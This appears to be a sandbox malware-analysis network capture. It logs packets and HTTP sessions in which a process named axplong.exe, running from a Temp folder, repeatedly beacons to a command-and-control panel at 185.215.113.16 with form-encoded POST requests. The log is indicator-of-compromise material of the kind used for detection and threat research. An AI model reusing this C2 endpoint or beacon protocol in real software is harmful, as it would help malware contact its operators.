Jul 26, 2024 13:44:41.531063080 CEST	80	53679	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:42.298847914 CEST	80	53679	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:42.298947096 CEST	53679	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:42.311791897 CEST	53679	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:42.316721916 CEST	80	53679	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:42.595769882 CEST	80	53679	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:42.595911026 CEST	53679	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:42.712197065 CEST	53679	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:42.712697983 CEST	53680	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:42.717710018 CEST	80	53680	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:42.717812061 CEST	53680	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:42.717983961 CEST	53680	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:42.718413115 CEST	80	53679	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:42.718462944 CEST	53679	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:42.723272085 CEST	80	53680	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:43.471055031 CEST	80	53680	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:43.471260071 CEST	53680	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:43.471693993 CEST	53680	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:43.483728886 CEST	80	53680	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:43.719747066 CEST	80	53680	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:43.719825983 CEST	53680	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:43.821517944 CEST	53680	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:43.821743011 CEST	53681	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:43.826786995 CEST	80	53681	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:43.827101946 CEST	53681	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:43.827101946 CEST	53681	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:43.828783035 CEST	80	53680	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:43.828852892 CEST	53680	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:43.832459927 CEST	80	53681	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:44.988388062 CEST	80	53681	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:44.988495111 CEST	53681	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:44.989340067 CEST	53681	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:44.992512941 CEST	80	53681	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:44.992593050 CEST	53681	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:44.996732950 CEST	80	53681	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:45.238414049 CEST	80	53681	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:45.238604069 CEST	53681	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:45.352643013 CEST	53681	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:45.352967978 CEST	53682	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:45.368278027 CEST	80	53682	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:45.368379116 CEST	53682	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:45.368541002 CEST	53682	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:45.369811058 CEST	80	53681	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:45.369867086 CEST	53681	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:45.374638081 CEST	80	53682	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:46.131669044 CEST	80	53682	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:46.131901026 CEST	53682	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:46.134480953 CEST	53682	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:46.139722109 CEST	80	53682	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:46.388288021 CEST	80	53682	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:46.388365984 CEST	53682	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:46.496640921 CEST	53682	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:46.497060061 CEST	53683	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:46.502096891 CEST	80	53683	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:46.502124071 CEST	80	53682	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:46.502185106 CEST	53683	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:46.502212048 CEST	53682	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:46.504507065 CEST	53683	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:46.509442091 CEST	80	53683	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:47.274538040 CEST	80	53683	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:47.274635077 CEST	53683	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:47.275854111 CEST	53683	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:47.280828953 CEST	80	53683	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:47.675021887 CEST	80	53683	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:47.675124884 CEST	53683	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:47.790594101 CEST	53683	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:47.790870905 CEST	53684	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:47.796150923 CEST	80	53684	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:47.796272039 CEST	53684	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:47.796544075 CEST	53684	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:47.796544075 CEST	80	53683	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:47.796616077 CEST	53683	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:47.801727057 CEST	80	53684	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:48.588161945 CEST	80	53684	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:48.588242054 CEST	53684	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:48.588973045 CEST	53684	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:48.595315933 CEST	80	53684	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:48.843326092 CEST	80	53684	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:48.843390942 CEST	53684	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:48.946366072 CEST	53684	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:48.946753979 CEST	53685	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:49.258285999 CEST	53684	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:49.353779078 CEST	80	53685	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:49.353792906 CEST	80	53684	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:49.353801012 CEST	80	53684	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:49.353890896 CEST	53684	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:49.353888988 CEST	53685	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:49.354079008 CEST	53685	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:49.359591961 CEST	80	53685	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:50.146931887 CEST	80	53685	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:50.147139072 CEST	53685	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:50.147691965 CEST	53685	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:50.153141022 CEST	80	53685	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:50.400048018 CEST	80	53685	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:50.400151014 CEST	53685	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:50.509303093 CEST	53685	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:50.509617090 CEST	53686	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:50.516463041 CEST	80	53686	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:50.516625881 CEST	53686	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:50.516756058 CEST	53686	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:50.516990900 CEST	80	53685	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:50.517050028 CEST	53685	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:50.524108887 CEST	80	53686	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:51.277060032 CEST	80	53686	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:51.277177095 CEST	53686	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:51.277800083 CEST	53686	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:51.283869982 CEST	80	53686	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:51.527635098 CEST	80	53686	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:51.527853012 CEST	53686	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:51.633936882 CEST	53686	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:51.634130955 CEST	53687	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:51.640032053 CEST	80	53687	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:51.640110970 CEST	53687	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:51.640239000 CEST	53687	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:51.645164013 CEST	80	53686	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:51.645229101 CEST	53686	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:51.646707058 CEST	80	53687	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:52.413220882 CEST	80	53687	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:52.413317919 CEST	53687	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:52.415894032 CEST	53687	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:52.421649933 CEST	80	53687	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:52.675721884 CEST	80	53687	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:52.675801992 CEST	53687	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:52.790133953 CEST	53687	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:52.790448904 CEST	53688	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:52.796828985 CEST	80	53687	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:52.796840906 CEST	80	53688	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:52.796915054 CEST	53687	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:52.796956062 CEST	53688	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:52.797126055 CEST	53688	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:52.802320004 CEST	80	53688	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:53.648627043 CEST	80	53688	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:53.648719072 CEST	53688	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:53.649533033 CEST	53688	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:53.654472113 CEST	80	53688	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:53.899780035 CEST	80	53688	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:53.899864912 CEST	53688	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:54.019191027 CEST	53688	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:54.019510031 CEST	53689	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:54.031595945 CEST	80	53689	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:54.031699896 CEST	53689	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:54.031814098 CEST	53689	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:54.034589052 CEST	80	53688	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:54.034646034 CEST	53688	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:54.037064075 CEST	80	53689	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:54.834448099 CEST	80	53689	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:54.834709883 CEST	53689	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:54.835484982 CEST	53689	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:54.840264082 CEST	80	53689	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:55.089221001 CEST	80	53689	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:55.089366913 CEST	53689	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:55.196723938 CEST	53689	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:55.197180033 CEST	53690	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:55.202272892 CEST	80	53690	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:55.202348948 CEST	53690	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:55.202594042 CEST	53690	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:55.202991009 CEST	80	53689	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:55.203047991 CEST	53689	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:55.207623005 CEST	80	53690	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:55.991609097 CEST	80	53690	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:55.991710901 CEST	53690	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:55.992436886 CEST	53690	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:55.997417927 CEST	80	53690	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:56.243362904 CEST	80	53690	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:56.243563890 CEST	53690	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:56.352696896 CEST	53690	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:56.352972031 CEST	53691	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:56.359313965 CEST	80	53691	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:56.359385967 CEST	53691	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:56.359525919 CEST	53691	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:56.360703945 CEST	80	53690	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:56.360770941 CEST	53690	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:56.365562916 CEST	80	53691	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:57.111125946 CEST	80	53691	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:57.111254930 CEST	53691	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:57.127521038 CEST	53691	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:57.132946014 CEST	80	53691	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:57.378264904 CEST	80	53691	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:57.378582954 CEST	53691	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:57.493232012 CEST	53691	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:57.493546963 CEST	53692	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:57.498478889 CEST	80	53692	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:57.498732090 CEST	53692	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:57.498809099 CEST	80	53691	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:57.498857975 CEST	53691	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:57.498933077 CEST	53692	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:57.503695965 CEST	80	53692	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:58.280455112 CEST	80	53692	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:58.282524109 CEST	53692	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:58.283097982 CEST	53692	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:58.288019896 CEST	80	53692	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:58.617841959 CEST	80	53692	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:58.617968082 CEST	53692	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:58.727792025 CEST	53692	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:58.728096962 CEST	53693	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:59.039542913 CEST	53692	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:59.145889044 CEST	80	53693	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:59.145903111 CEST	80	53692	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:59.145911932 CEST	80	53692	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:59.146056890 CEST	53693	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:59.146164894 CEST	53692	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:59.146281958 CEST	53693	80	192.168.2.5	185.215.113.16
Jul 26, 2024 13:44:59.151186943 CEST	80	53693	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:59.912614107 CEST	80	53693	185.215.113.16	192.168.2.5
Jul 26, 2024 13:44:59.912687063 CEST	53693	80	192.168.2.5	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 13:43:28.501430035 CEST	53	60184	162.159.36.2	192.168.2.5
Jul 26, 2024 13:43:29.034353018 CEST	56672	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:43:29.042918921 CEST	53	56672	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 13:43:29.034353018 CEST	192.168.2.5	1.1.1.1	0x8571	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 13:43:29.042918921 CEST	1.1.1.1	192.168.2.5	0x8571	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	53647	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:02.262164116 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:03.059106112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:03.061624050 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:03.366684914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	53648	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:03.522540092 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:04.280569077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:04.281440020 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:04.540323019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	53649	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:04.656502008 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:05.670748949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:05.672177076 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:05.672499895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:05.920926094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	53650	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:06.032423973 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:06.813628912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:06.814331055 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:07.068056107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	53651	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:07.187690973 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
